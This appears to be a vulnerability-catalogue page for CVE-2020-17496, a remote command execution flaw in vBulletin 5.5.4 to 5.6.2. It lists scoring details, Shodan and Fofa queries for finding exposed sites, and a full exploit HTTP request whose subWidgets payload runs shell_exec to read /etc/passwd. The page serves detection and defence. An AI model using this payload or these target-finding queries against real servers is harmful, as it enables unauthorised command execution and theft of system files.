🔙 목록으로 돌아가기

CVE-2020-17496: vBulletin 5.5.4 - 5.6.2- Remote Command Execution

TitlevBulletin 5.5.4 - 5.6.2- Remote Command Execution
Authorpussycat0x
SeverityCritical
ImpactSuccessful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the target system.
RemediationUpgrade vBulletin to a version that is not affected by CVE-2020-17496.
CVSS Score9.8
EPSS Score0.94036
CVE IDCVE-2020-17496
CWE IDCWE-74
Shodan Queryhttp.title:"powered by vbulletin"http.html:"powered by vbulletin"http.component:"vbulletin"cpe:"cpe:2.3:a:vbulletin:vbulletin"
Fofa Querybody="powered by vbulletin"title="powered by vbulletin"
Tags cve2020 cve vbulletin rce kev tenable seclists vkev vuln

🔍 Vulnerability Description

vBulletin versions 5.5.4 through 5.6.2 allow remote command execution via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. NOTE: this issue exists because of an incomplete fix for CVE-2019-16759.

🌐 HTTP Request

POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:134.0) Gecko/20100101 Firefox/134.0
Connection: close
Content-Length: 140
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec('cat ../../../../../../../../../../../../etc/passwd'); exit;"

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-17496.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-17496.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A